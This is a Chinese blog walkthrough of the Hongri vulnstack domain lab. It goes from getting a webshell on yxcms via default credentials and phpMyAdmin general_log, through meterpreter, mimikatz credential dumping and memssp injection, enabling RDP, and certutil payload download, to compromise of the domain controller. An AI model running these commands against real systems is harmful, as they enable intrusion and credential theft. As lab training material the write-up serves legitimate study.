0x01:前言

由于一直想学新的知识,导致没太多时间去搞站,所以内网知识一直很欠缺,就算打到服务器也没见过几次域环境,有幸得到红日的域控靶机三件套,记录一下玩的时候遇到的问题和心得。

0x02:环境搭建

靶机地址: http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

靶机下载解压完大概32G,加上kali 一共需要大概40G存储,由于要一下子开四个虚拟机,所以内存也得注意一下...

打开三个虚拟机,只需要将虚拟网vm1网段设为192.168.52网段即可


然后将三个虚拟机的网卡都换为vm1.然后IP地址便会自动获取

最后进去互相ping一下即可。

其中 win7机器是外网web服务器,需要进去启动phpstudy 。win 2003 为内网机器 win2008为域控。

0x03:webshell

首先 win7机器ip地址为 192.168.52.143

web路径为/yxcms

访问web: 192.168.52.143/yxcms

是yxcms的系统,由于主要是内网,所以不对外网多做阐述。

直接到后台 http://192.168.52.143/yxcms/index.php?r=admin/index/login

用户名密码填写这个cms的默认账号密码admin/123456

然后进入后台

这里共有两种getshell的方法

一、修改模板:

直接在模板文件中加入一句话即可getshell

二、phpstudy写入木马

由于在探测的时候发现了phpstudy探针,即网站是由phpstudy搭建的环境

所以直接访问/phpmyadmin

默认口令 root/root登陆phpmyadmin

此时又有了两种思路 1:直接写shell。2:通过全局变量general_log去getshell

我们查看secure_auth的开放状态

提示关闭且文件输出位置为NULL,所以没办法直接写shell

那就用第二种方法

查看general_log的开启状态

我们将其开启

  • set global general_log=on;# 开启日志
  • set global general_log_file='C:/phpstudy/www/yxcms/log.php';# 设置日志位置为网站目录

show variables like "%general_log%"

此时只需select 一句话木马即可

0x04:攻入内网

此时获取了一个webshell

查看当前用户权限

直接就是adminstrator,这算是比较幸运的了,所以直接net user添加账号。

添加了账号当然要远程了,所以看一下3389端口状态

开启状态,但是远程连接失败了,nmap扫描后发现端口3389状态是filtered

猜测是防火墙做了阻拦,到靶机看一下确实如此。

那么如何绕过呢,这里也有两种方法:1、尝试使用隧道连接3389。2、反弹msf的shell,尝试关闭防火墙。

这里本来想使用lcx绕过,结果windows直接阻止了连接。

由于需要确认才能继续后续操作,但是菜刀的虚拟终端并没有办法处理图形界面的问题。后来转用 ngrok 但是过于麻烦就懒得搞。

直接选用方案2,反弹一个msf的shell

使用菜刀上传msf的shell,然后kali监听 虚拟终端执行远控

成功收到shell

然后使用msf自带的模块关闭防火墙

meterpreter > run post/windows/manage/enable_rdp

然后便可以远程了

下面我们就该去杀入域控了,杀入域之前我们先来做一些基础的信息收集,毕竟大佬说过渗透测试的本质是信息收集..

ipconfig /all 查询本机IP段,所在域等
net config Workstation 当前计算机名,全名,用户名,系统版本,工作站域,登陆域
net user 本机用户列表
net localgroup administrators 本机管理员[通常含有域用户]
net user /domain 查询域用户 只有域控服务器才能执行
net user 用户名 /domain 获取指定用户的账户信息
net user /domain b404 pass 修改域内用户密码,需要管理员权限
net group /domain 查询域里面的工作组
net group 组名 /domain 查询域中的某工作组
net group "domain admins" /domain 查询域管理员列表
net group "domain controllers" /domain 查看域控制器(如果有多台)
net time /domain 判断主域,主域服务器都做时间服务器

当然也可以帮他装一个nmap msf之类的

经过一番信息收集,我们可以知道域控的地址为:192.168.52.138、域成员主机03地址:192.168.52.141

然后抓一下本地管理员的密码,因为域控可以登陆域内的任意主机,也就意味着每台主机都保存着域管理员的账号密码。

首先使用getsystem进行提权

成功获得system权限( 实战中可能需要其他更复杂的方式进行提权 )

然后抓一下hash

发现失败了

然后我们用msf自带的模块进行hash抓取

meterpreter > run post/windows/gather/smart_hashdump
发现已经获取了hash

但是这样获取的hash不是很全面,都没抓到我们自己添加的账号,我们再使用mimitakz进行抓取


meterpreter > load mimikatz
meterpreter > mimikatz_command -f samdump::hashes

这次抓全了,但是不是明文,有很大概率是解不出来的

所以我们上传mimikatz使用debug进行抓取明文,当然实战需要免杀...毕竟不装360的服务器很少了。

先进行权限提升


privilege::debug

然后使用


sekurlsa::logonPasswords

进行明文抓取

此时我们就已经获取到了administrator的明文密码,此时我们已经完全控制了win7机器,需要继续垂直渗透

我们再对2003进行渗透

0x05:内网漫游

拿下了一台机器后,便可以把这台机器当做跳板,安装nmap等软件进行收集信息

先添加一条路由进来:


meterpreter > run autoroute -s 192.168.52.0/24

我们参考它的思路

然后使用08-067(https://blog.csdn.net/cool_jia/article/details/78846928 ) 进行渗透,但是失败了

后来查看发现是目标主机这些服务默认没有开启,需要手工开启…

一通折腾也没成功...最后直接在2003加了个账号,关防火墙,开了3389远程上去了

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

然后传了个msf的shell

因为是2003的机器,直接getsystem便得到了system权限

然后用之前相同的方法便可以得到管理员的明文密码..

需要注意2003是32位的,所以要用32位mimikatz

0x06:控制域控

到这里就该域控了,上面我们已经得知域控地址为138

现在我们需要得到一个shell,我们使用 wmiexec来执行命令

此时如何让域控也被种马呢,我们使用windows自带的certutil对局域网2007的payload.exe进行下载,下载完成后文件会在域控的C://windows/system32下。

我们运行shell

成功收到session

接下来进行提权

虽然不知道为什么但是直接getsystem就提权成功了,可能是反弹的shell权限高?

然后就得抓哈希了。直接上传mimikatz即可

或者记录凭据

mimikatz # privilege::debug
Privilege '20' OK
mimikatz # misc::memssp
Injected =)
mimikatz # exit

此时在C://windows/system32下会生成mimilsa.log文件,此文件记录从生成文件开始的登陆凭证。

我们模拟登陆

已经获得了域管理员的明文密码

0x07 结语

虽然是参考下面这篇文章,但是他有的部分说的比较含糊,比如如何通过下载shell获取域控shell、如何执行域控的shell等,所以我做了更全面的补充。

参考: https://www.anquanke.com/post/id/189940

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注